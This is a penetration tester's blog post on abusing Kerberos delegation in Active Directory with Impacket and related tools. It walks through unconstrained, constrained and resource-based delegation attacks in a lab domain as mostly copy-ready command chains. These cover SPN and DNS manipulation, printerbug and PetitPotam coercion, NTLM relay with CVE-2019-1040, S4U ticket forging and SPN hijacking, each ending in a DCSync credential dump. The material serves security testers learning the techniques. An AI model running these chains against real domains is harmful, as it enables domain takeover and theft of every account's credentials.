Abusing delegation with Impacket

Table of Contents

The inspiration behind this

In Active Directory exploitation, Kerberos delegation is easily among my top favorite vectors of abuse, and in the years I’ve been learning Kerberos exploitation, I’ve noticed that Impacket doesn’t get nearly as much coverage as tools like Rubeus or Mimikatz.

From a penetration testing perspective, especially when operating from a remote dropbox, being able to interface Kali to the domain controller provides tremendous value, as we don’t need to drop binaries on disk, nor do we need to worry about host-based detections.

This is not an exhaustive list of every explicit delegation abuse path possible, otherwise I’d be working on this forever! Instead, I wanted to focus on each type of delegation configured for both users and machines, and the most common attack paths for each.

Kerberos

Kerberos is a ticket-based authentication protocol that enables secure communication in untrusted environments by first establishing two-party trust through a mutual third party. Kerberos requires three parties:

  • Client: The user or system requesting access to a resource.
  • Server: The destination resource the client wants to access.
  • Key Distribution Center (KDC): A trusted third party responsible for authenticating users and issuing tickets.

The ticketing process

The Kerberos authentication flow works like this:

  1. Authentication Service Request: The client sends an authentication request encrypted with their password to the KDC.
  2. Authentication Service Response: If the KDC can decrypt the request with the user’s password, the client has proven their identity. The KDC then responds with a Ticket-Granting-Ticket (TGT), encrypted with the KDC’s secret key.
  3. Ticket-Granting-Ticket Request: The client presents the TGT back to the KDC requesting access to a destination service.
  4. Ticket-Granting-Ticket Response: If the KDC can decrypt the TGT, it proves the client presented a valid TGT, as no other entity knows the KDC’s secret key. The KDC responds with a Service Ticket (ST), encrypted with the destination service’s password.
  5. Service Ticket Request: The client passes the ST to the destination service, requesting access. If the destination service can decrypt the service ticket, it proves the ticket is valid, as only the KDC and the service itself should possess the service’s password.

Pasted image 20250507180525.png

Through the trusted intermediary - the KDC - the client and destination service can establish trust, relying on the assumption that only the KDC knows everything.

Kerberos references services by their Service Principal Name, or SPN, and one ticket can be generated per one SPN at a time. For added efficiency, if a user wants to obtain tickets for multiple services, instead of performing the entire authentication process each time, they can simply reuse their TGT to obtain access to various other services. By default, Microsoft states a TGT is valid for 10 hours before the entire authentication process must fully begin again.

The double-hop problem and delegation

Because of how tickets are constructed, services cannot forward client credentials to other resources: they only possess a service ticket encrypted with their own key. This inability to forward credentials is known as the Kerberos Double-Hop Problem.

Pasted image 20241122200224.png

Microsoft introduced delegation to let one service forward a client’s credentials to another, enabling the first service to authenticate the client to the second. There are three forms of Kerberos delegation:

  • Unconstrained Delegation: The first form of delegation. When a client authenticates to a server with unconstrained delegation, it passes its TGT along with the ST, allowing the server to reuse the TGT to authenticate as that user to other resources.
  • Constrained Delegation: Introduced to mitigate the risks of unconstrained delegation. It restricts delegation to specific services and replaces TGT forwarding with two proxies: S4U2Self and S4U2Proxy.
  • Resource-Based Constrained Delegation: Similar to constrained delegation, but here the destination (resource) defines which services are allowed to delegate to it.

Delegation abuse techniques

With all of that discussed, the key idea is that delegation is essentially a specialized form of impersonation that resolves the double-hop problem. It’s additionally important to note delegation can be configured on both users and machines within a domain.

This means that if a user or machine configured with delegation is compromised, the attacker’s goals vary depending on the type (with some caveats we will cover later):

Delegation Type End-Goal
Unconstrained Delegation Obtain the TGT of an elevated user or machine
Constrained Delegation Use S4U2Self and S4U2Proxy to obtain a ticket for a privileged user
Resource-Based Constrained Delegation Force an elevated user or machine into allowing delegation from another resource

Unconstrained delegation

To abuse unconstrained delegation, we must first compromise a user or machine configured with it. Following this, our end goal is to obtain a TGT from an elevated user/machine - usually the domain administrator - to compromise the environment.

The high-level steps are:

  1. Compromise a user or machine that has unconstrained delegation configured.
  2. Force/coerce an elevated user/machine to authenticate to our compromised unconstrained resource.
  3. Use the obtained TGT from the elevated user/machine to compromise the domain controller.

1. Add a user SPN and DNS entry, coerce to Kerberos listener

Assume we’ve compromised the user kuduser with the password Password1!, which has unconstrained delegation configured.

To escalate in the domain, we need to first add a Service Principal Name (SPN) to the user and a DNS entry resolving such SPN to the attacker’s IP address. Once those are done, we can then obtain a TGT from an elevated user/machine.

Caveat: Users do not have SPNs associated with them by default, so we need the permission to add our own SPN so tickets can be generated to our user if one has not been added already. This is not a default setting, but appears to be often attributed with database service accounts. We additionally need the permission to add a DNS entry to our added SPN, which appears to be a default setting.

1. Find user-based unconstrained delegation (kuduser)

impacket-findDelegation 'secure.local/kuduser':'Password1!' -dc-ip 10.0.1.200

Pasted image 20250918152809.png

2. Add an SPN to kuduser if there isn’t one already (KUD.secure.local)

python3 addspn.py -u secure.local\\kuduser -p 'Password1!' -s host/KUD.secure.local --target-type samname 10.0.1.200

Pasted image 20250917162850.png

3. (Optional) Verify the SPN has been added successfully

pywerview get-netuser -d secure.local -u kuduser -p 'Password1!' -t 10.0.1.200 --unconstrained

Pasted image 20250917163009.png

4. Add a DNS entry that resolves KUD.secure.local to our attacker IP 10.0.1.13

python3 dnstool.py -u secure.local\\kuduser -p 'Password1!' -r KUD.secure.local -a add -d 10.0.1.13 10.0.1.200

Pasted image 20250917163130.png

5. Verify proper name resolution, may take a few minutes

nslookup KUD.secure.local 10.0.1.200

Pasted image 20250917163402.png

6. Set up Kerberos listener with kuduser’s password

python3 krbrelayx.py --krbsalt SECURE.LOCALkuduser --krbpass 'Password1!'

Pasted image 20250917163456.png

7. Force the DC (10.0.1.200) to authenticate to us (KUD.secure.local)

python3 printerbug.py 'secure.local/kuduser':'Password1!'@10.0.1.200 KUD.secure.local

Pasted image 20250917163659.png

Pasted image 20250917163613.png

8. Export the ticket into memory

export KRB5CCNAME=DC01\[email protected][email protected]

Pasted image 20250917182910.png

9. Perform a DCSync against DC01 as DC01$

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

10. (Cleanup): Remove the added DNS entry

python3 dnstool.py -u secure.local\\kuduser -p 'Password1!' -r KUD.secure.local -a remove -d 10.0.1.13 10.0.1.200

Pasted image 20250917164255.png

11. (Cleanup): Remove the added SPN (if user started without one)

python3 addspn.py -u secure.local\\kuduser -p 'Password1!' -s host/KUD.secure.local --target-type samname 10.0.1.200 -r

Pasted image 20250917164334.png

2. Hijack machine DNS entry, coerce to Kerberos listener

Assume we’ve compromised the machine PC01$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4, which has unconstrained delegation configured.

To escalate in the domain, we need to first modify PC01$’s existing DNS entry and point it to our attacker IP address. Once complete, we can then obtain a TGT from an elevated user/machine.

Unlike users, machines do have SPNs associated with them, meaning we only need to modify the PC01.secure.local DNS entry to point to our attacker box. It should be noted that this will temporarily cause a denial of service for clients accessing PC01, as all traffic will now route to us.

1. Find machine-based unconstrained delegation (PC01$)

impacket-findDelegation 'secure.local/kuduser':'Password1!' -dc-ip 10.0.1.200

Pasted image 20250918152718.png

2. Add a DNS entry that resolves PC01.secure.local to our attacker IP 10.0.1.13

python3 dnstool.py -u 'secure.local\PC01$' -p 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -r PC01.secure.local -a modify -d 10.0.1.13 DC01 -dns-ip 10.0.1.200

Pasted image 20250925151100.png

3. Verify proper name resolution, may take a few minutes

nslookup PC01.secure.local 10.0.1.200

Pasted image 20250917183136.png

4. Set up Kerberos listener with PC01$’s NTLM hash

python3 krbrelayx.py --krbsalt SECURE.LOCALPC01$ -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4'

Pasted image 20250917183243.png

5. Force the DC (10.0.1.200) to authenticate to us (PC01.secure.local)

python3 printerbug.py 'secure.local/kuduser':'Password1!'@10.0.1.200 PC01.secure.local

Pasted image 20250917183452.png

Pasted image 20250917183552.png

6. Export the ticket into memory

export KRB5CCNAME=DC01\[email protected][email protected]

Pasted image 20250917183729.png

7. Perform a DCSync against DC01 as DC01$

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

8. (Cleanup): Restore the original DNS entry for PC01.secure.local

python3 dnstool.py -u 'secure.local\PC01$' -p 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -r PC01.secure.local -a modify -d 10.0.1.201 DC01 -dns-ip 10.0.1.200

Pasted image 20250925151243.png

Pasted image 20250917184302.png

Constrained delegation with protocol transition

To abuse constrained delegation with protocol transition, we must first compromise a user or machine configured with it. Following this, our goal is to impersonate an elevated user/machine - usually the domain administrator - to compromise the service our compromised resource can delegate to.

The high-level steps are:

  1. Compromise a user or machine that has constrained delegation configured.
  2. Use S4U2Self and S4U2Proxy to obtain a service ticket as an elevated user to the delegated resource.

1. S4U2Self and S4U2Proxy with username and password

Assume we’ve compromised the user kcduser with the password Password2@, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is enabled, we can use kcduser’s password to impersonate an elevated user - usually the domain administrator - using S4U2Self. Then, we can use S4U2Proxy to generate a service ticket to the delegated service (host/DC01.secure.local).

Additionally, we must have an SPN assigned to the compromised user to successfully generate tickets.

1. Find user-based constrained delegation with protocol transition (kcduser to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

Pasted image 20250918121005.png

2. Add an SPN to kcduser if there isn’t one already (KCD.secure.local)

python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200

Pasted image 20250918134031.png

3. Using kcduser’s credentials, we can obtain a service ticket as the domain administrator to DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

Pasted image 20250918115933.png

4. Export the ticket into memory

export KRB5CCNAME=./administrator@[email protected]

Pasted image 20250918120021.png

5. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

6. (Cleanup): Remove the added SPN (if user started without one)

python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200 -r

Pasted image 20250918135902.png

2. S4U2Self and S4U2Proxy with machine NTLM hash

Assume we’ve compromised the machine PC01$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is enabled, we can use PC01$’s NTLM hash to impersonate an impersonate an elevated user - usually the domain administrator - using S4U2Self. Then, we can use S4U2Proxy to generate a service ticket to the delegated service (host/DC01.secure.local).

1. Find machine-based constrained delegation with protocol transition (PC01$ to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

Pasted image 20250918120408.png

2. Using PC01$’s NTLM hash, we can obtain a service ticket as the domain administrator to DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/PC01$' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -dc-ip 10.0.1.200

Pasted image 20250918120656.png

3. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

Pasted image 20250918120730.png

4. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

3. Live machine SPN hijacking with GenericWrite

Assume we’ve compromised the user dacluser with the password Password3#, which has GenericWrite permissions over DC01.secure.local and PC01.secure.local.

Additionally, assume we’ve compromised the machine PC02$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:72265d1639ffa6279115a922e92a33d8, which is allowed to delegate to host/PC01.secure.local.

If a user principal has the “Write all properties” (GenericWrite) permission over an Active Directory object, they can arbitrarily write SPNs among other things.

This means, with the permissions we have, we can migrate PC01’s host/PC01.secure.local SPN to DC01, essentially making DC01 the target for delegation. Then, if we perform S4U2Self and S4U2Proxy, we can obtain a service ticket as an elevated user to DC01.

The high-level steps are:

  1. Compromise a user or machine that has constrained delegation configured.
  2. Compromise a user who can modify the SPNs of the delegated service (PC01) and a final target service (DC01).
  3. Remove all SPNs from the delegated service (PC01)
  4. Write the delegated SPN to the final target service (host/PC01.secure.local to DC01)
  5. Use S4U2Self and S4U2Proxy to obtain a service ticket as an elevated user to the delegated resource (PC01.secure.local, which is now DC01)
  6. Modify the SPN in the service ticket (host/PC01.secure.local to host/DC01.secure.local)

1. Find GenericWrite permissions (dacluser to DC01.secure.local and PC01.secure.local)

nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All

Pasted image 20250922135602.png

Pasted image 20250922135433.png

Pasted image 20250922135507.png

2. Find machine-based constrained delegation with protocol transition (PC02$ to host/PC01.secure.local)

impacket-findDelegation 'secure.local/dacluser':'Password3#' -dc-ip 10.0.1.200

Pasted image 20250922171232.png

3. Remove all SPNs from PC01$, note the removed SPNs for later

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' --clear -t 'PC01$' 10.0.1.200

Pasted image 20250922171513.png

4. Write the host/PC01.secure.local SPN to DC01$

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'DC01$' --spn 'host/PC01.secure.local' 10.0.1.200

Pasted image 20250922172948.png

5. Using PC02$’s NTLM hash, obtain a service ticket as the domain administrator to host/PC01.secure.local, now being DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/PC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/PC02$' -hashes 'aad3b435b51404eeaad3b435b51404ee:72265d1639ffa6279115a922e92a33d8'

Pasted image 20250922173200.png

6. Modify the SPN in the service ticket to host/DC01.secure.local

python3 tgssub.py -in administrator@[email protected] -out DC01-ticket.ccache -altservice 'host/DC01.secure.local'

Pasted image 20250922173257.png

7. Export the ticket into memory

export KRB5CCNAME=DC01-ticket.ccache

Pasted image 20250922173328.png

8. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

9. (Cleanup) Remove the host/PC01.secure.local SPN from DC01$

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'DC01$' --spn 'host/PC01.secure.local' 10.0.1.200 -r

Pasted image 20250924145335.png

10. (Cleanup) Restore all removed SPNs to PC01$, repeat for each removed SPN

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'PC01$' --spn 'host/PC01.secure.local' 10.0.1.200

Pasted image 20250924145305.png

11. Verify all SPNs are restored on DC01$ and PC01$

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'PC01$' 10.0.1.200 -q

Pasted image 20250924145519.png

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'DC01$' 10.0.1.200 -q

Pasted image 20250924145545.png

Constrained delegation without protocol transition

To abuse constrained delegation without protocol transition, we must first compromise a user or machine configured with it. However, we cannot simply supply the password for the compromised service — we need a forwardable service ticket as an elevated user, usually the domain administrator.

The issue is what generates a forwardable ticket. According to Elad Shamir in Wagging the Dog, it turns out S4U2Proxy generates a forwardable service ticket, which can be used to escalate.

This raises the question: how can we use S4U2Proxy to generate a forwardable service ticket?

Reflective resource based constrained delegation

Any user or machine in a domain, by default, can configure Resource-Based Constrained Delegation (RBCD) on themselves. This is essentially traditional constrained delegation, but instead of the domain deciding who can delegate to a service, the service decides who may delegate to it.

If a resource configured for constrained delegation (without protocol transition) is compromised, an attacker needs a second resource to obtain a forwardable ticket. This is where Machine Account Quota (MAQ) - a default domain-level attribute that lets non-administrators add machine accounts comes in handy.

An attacker can add a machine account via MAQ and configure RBCD so the MAQ-added machine is trusted for delegation. Using the MAQ machine’s credentials, the attacker performs S4U2Self and S4U2Proxy to the compromised resource, generating a forwardable service ticket to that service. The forwardable ticket can then be passed to the resource the compromised host is allowed to delegate to.

A quick aside, the reason why MAQ comes in handy is because computer accounts always have SPNs tied to them by default. However, if MAQ is disabled, the same can be done if an attacker controls a user with an SPN or has the permission to add SPNs to themselves or other compromised users.

This chaining of constrained delegation to obtain a forwardable ticket is called reflective resource-based constrained delegation. Through the first S4U2Proxy, the attacker obtains a forwardable ticket as an elevated user and can then compromise the original resource configured for delegation.

The high-level steps are:

  1. Compromise a user or machine that is configured for constrained delegation without protocol transition.
  2. Add a new computer to the domain via Machine Account Quota (MAQ).
  3. Configure RBCD on the compromised resource so it trusts the added machine for delegation.
  4. Use the MAQ machine’s credentials to perform S4U2Self + S4U2Proxy to the compromised resource, producing a forwardable service ticket as an elevated user.
  5. Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to.

1. Add a user SPN and machine account, reflective RBCD

Assume we’ve compromised the user kcduser with the password Password2@, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is disabled, we can add a machine account to the domain, configure RBCD to trust the MAQ host for delegation, and then obtain a forwardable service ticket through reflective resource based constrained delegation.

Additionally, we must have an SPN assigned to the compromised user to successfully generate tickets.

1. Find user-based constrained delegation without protocol transition (kcduser to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

Pasted image 20250918121326.png

2. Add an SPN to kcduser if there isn’t one already (KCD.secure.local)

python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200

Pasted image 20250918134031.png

3. Add a new computer called machine$ using Machine Account Quota

impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-ip 10.0.1.200 'secure.local/kcduser:Password2@'

Pasted image 20250724181705.png

4. Configure kcduser to trust machine$ for delegation

impacket-rbcd -delegate-from 'machine$' -delegate-to 'kcduser' -dc-ip 10.0.1.200 -action 'write' 'secure.local/kcduser':'Password2@'

Pasted image 20250918134841.png

5. Using machine$’s credentials, impersonate the domain administrator to kcduser (Reflective RBCD from machine$ -> kcduser)

impacket-getST -spn 'host/KCD.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'

Pasted image 20250918135023.png

6. Perform an S4U2Proxy with the forwardable administrator ticket to DC01 (kcduser -> DC01)

impacket-getST -impersonate 'administrator' -spn 'host/DC01.secure.local' -additional-ticket administrator@[email protected] -dc-ip 10.0.1.200 'secure.local/kcduser':'Password2@'

Pasted image 20250918135608.png

7. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

Pasted image 20250918135659.png

8. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

9. (Cleanup): Remove the added SPN

python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200 -r

Pasted image 20250918135902.png

10. (Cleanup): Remove the added machine account (can only be done with administrative users)

impacket-addcomputer -computer-name 'machine$' -dc-ip 10.0.1.200 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:16f2bd968f2885a410873b4efa104527' 'secure.local/administrator'

Pasted image 20250918140118.png

2. Use machine SPN and add a machine account, reflective RBCD

Assume we’ve compromised the machine PC01$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is disabled, we can obtain a forwardable service ticket through Reflective Resource Based Constrained Delegation (MAQ + RBCD).

1. Find machine-based constrained delegation without protocol transition (PC01$ to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

Pasted image 20250918142835.png

2. Add a new computer called machine$ using Machine Account Quota

impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-host 10.0.1.200 'secure.local/PC01$' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4'

Pasted image 20250918143108.png

3. Configure PC01$ to trust machine$ for delegation

impacket-rbcd -delegate-from 'machine$' -delegate-to 'PC01$' -dc-ip 10.0.1.200 -action 'write' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' 'secure.local/PC01$'

Pasted image 20250918143212.png

4. Using machine$’s credentials, impersonate the domain administrator to PC01 (Reflective RBCD from machine$ -> PC01$)

impacket-getST -spn 'host/PC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'

Pasted image 20250918143342.png

5. Utilize the obtained ticket to generate a ticket as Administrator to host/DC01.secure.local (PC01$ -> DC01)

impacket-getST -impersonate 'administrator' -spn 'host/DC01.secure.local' -additional-ticket administrator@[email protected] -dc-ip 10.0.1.200 -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' 'secure.local/PC01$'

Pasted image 20250918143602.png

6. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

Pasted image 20250918143639.png

7. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

8. (Cleanup): Remove the added machine account (can only be done with administrative users)

impacket-addcomputer -computer-name 'machine$' -dc-ip 10.0.1.200 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:16f2bd968f2885a410873b4efa104527' 'secure.local/administrator'

Pasted image 20250918140118.png

Resource based constrained delegation

Resource-based constrained delegation is a bit of an outlier, primarily with how it’s configured. It alone provides little for pivoting or privilege escalation. Additionally, configuring RBCD oftentimes requires a host be compromised in some way, which quickly makes it a “chicken and the egg” situation.

That said, when you start to bring in CVEs and misconfigured permissions, RBCD becomes far more interesting. This writeup covers two primary methods that let an attacker arbitrarily manipulate RBCD permissions for services that haven’t yet been compromised:

  1. CVE-2019-1040 (Drop the MIC)
  2. GenericWrite DACL abuse

1. Drop the MIC and configure RBCD

CVE-2019-1040 (Drop the MIC) bypasses SMB signing. By effectively “dropping the MIC” during SMB authentication, vulnerable hosts still accept connections even if they’re being relayed by an attacker. This can be leveraged to pivot protocols, like coercing SMB and to authenticating to LDAP, which allows configuring RBCD as a relayed host. This approach generally requires at least two domain controllers.

Assume we’ve compromised the user user.one with the password Password1!, which does not have any special permissions or configuration. Just a default user.

If we are in a domain with at least two domain controllers (DC01 and DC02), with at least one of them being vulnerable to CVE-2019-1040 (DC01), we can leverage the basic permissions of this user to coerce authentication, relay the connection while dropping the MIC, and configuring resource based constrained delegation to trust an attacker-controlled resource for delegation.

The high-level steps are:

  1. Compromise a user or machine in the domain.
  2. Identify a domain controller vulnerable to CVE-2019-1040.
  3. Coerce a second domain controller to authenticate to the attacker.
  4. Drop the MIC and relay authentication to LDAP on the vulnerable domain controller.
  5. Use this session to add a machine account via Machine Account Quota.
  6. Use this session to trust the MAQ machine for delegation via RBCD.

1. Find a machine vulnerable to CVE-2019-1040 (10.0.1.202)

NetExec v1.4.0 SmoothOperator has a remove-mic scanner now!

nxc smb 10.0.1.202 -u 'user.one' -p 'Password1!' -M remove-mic

Pasted image 20250922180435.png

2. Configure NTLMRelayx to drop the MIC and relay to LDAP at 10.0.1.202

sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.202 --delegate-access --remove-mic

Pasted image 20250922180705.png

3. Force the second DC (10.0.1.203) to authenticate to us (10.0.1.13)

python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.13 10.0.1.203

Pasted image 20250922180523.png

4. If successful, NTLMRelayx will authenticate as DC02$, add a machine account, and trust it for delegation

Pasted image 20250922180631.png

5. Using XEWRIYIH$’s, password we can obtain a service ticket as the domain administrator to DC02 (S4U2Self + S4U2Proxy)

impacket-getST -dc-ip 10.0.1.203 -impersonate 'administrator' -spn 'host/DC02.insecure.local' 'insecure.local/XEWRIYIH$':'.*;jl{6qA_:.S_/'

Pasted image 20250922180808.png

6. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

Pasted image 20250922180924.png

7. Perform a DCSync against DC02 as administrator

impacket-secretsdump -k DC02.insecure.local

Pasted image 20250922181043.png

7. (Cleanup): Remove the added machine account (can only be done with administrative users)

impacket-addcomputer -computer-name 'DOAIMDJJ$' -dc-ip 10.0.1.202 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f' 'insecure.local/administrator'

Pasted image 20250922181221.png

2. Add a machine account and configure RBCD with GenericWrite

Assume we’ve compromised the user dacluser with the password Password3#, which has GenericWrite permissions over DC01.secure.local, being the domain controller.

If a user principal has the “Write all properties” (GenericWrite) permission over an Active Directory object, such user can configure resource based constrained delegation to trust any user/machine for delegation.

To escalate in the domain, we can simply configure RBCD on DC01$ to trust a machine added using Machine Account Quota.

The high-level steps are:

  1. Compromise a user or machine with GenericWrite permissions over an object.
  2. Add a new computer to the domain via Machine Account Quota (MAQ).
  3. Configure RBCD on the affected object to trust the added machine account for delegation.
  4. Use S4U2Self and S4U2Proxy to obtain a service ticket as an elevated user to the newly delegated resource.

1. Find GenericWrite configuration using Bloodhound

nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All

Pasted image 20250922135605.png

Pasted image 20250922135507.png

2. Add a new computer called machine$ using Machine Account Quota

impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-host 10.0.1.200 'secure.local/dacluser':'Password3#'

Pasted image 20250922160151.png

3. Configure DC01$ to trust machine$ for delegation

impacket-rbcd -delegate-from 'machine$' -delegate-to 'DC01$' -dc-ip 10.0.1.200 -action 'write' 'secure.local/dacluser':'Password3#'

Pasted image 20250922160240.png

4. Using machine$’s credentials, we can obtain a service ticket as the domain administrator to DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/DC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'

Pasted image 20250922160354.png

5. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

Pasted image 20250922155900.png

6. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

3. Add a user SPN and configure RBCD with GenericWrite

Assume we’ve compromised the user dacluser with the password Password3#, which has GenericWrite permissions over DC01.secure.local, being the domain controller.

If a user principal has the “Write all properties” (GenericWrite) permission over an Active Directory object, such user can configure resource based constrained delegation to trust any user/machine for delegation.

To escalate in the domain, we can simply configure RBCD on DC01$ to trust dacluser for delegation.

This path is identical to the previous one utilizing Machine Account Quota, but instead of utilizing MAQ, if we trust dacluser for delegation, that user must have an SPN assigned to successfully generate tickets.

The high-level steps are:

  1. Compromise a user or machine with GenericWrite permissions over an object.
  2. Add an SPN to a compromised user if needed.
  3. Configure the affected object to trust the compromised user for delegation.
  4. Use S4U2Self and S4U2Proxy to obtain a service ticket as an elevated user to the newly delegated resource.

1. Find GenericWrite configuration using Bloodhound

nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All

Pasted image 20250922135605.png

Pasted image 20250922135507.png

2. Configure DC01$ to trust dacluser for delegation

impacket-rbcd -delegate-from 'dacluser' -delegate-to 'DC01$' -dc-ip 10.0.1.200 -action 'write' 'secure.local/dacluser':'Password3#'

Pasted image 20250922140437.png

3. Add an SPN to dacluser if there isn’t one already (DACL.secure.local)

python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -s host/DACL.secure.local --target-type samname 10.0.1.200

Pasted image 20250922141721.png

3. Using dacluser’s credentials, we can obtain a service ticket as the domain administrator to DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/dacluser':'Password3#' -dc-ip 10.0.1.200

Pasted image 20250922155831.png

4. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

Pasted image 20250922155900.png

5. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

Pasted image 20250917163951.png

Conclusion

Delegation in Active Directory is one of those neat features that solves a real problem, but also introduces numerous vectors for abuse if configured improperly. Active Directory is full of fun primitives that can be used to create neat exploit chains!

This post started out much bigger, but even after narrowing it down I still learned a lot and really enjoyed the process of researching this. I hope it provides other testers the same value that it gave me!

References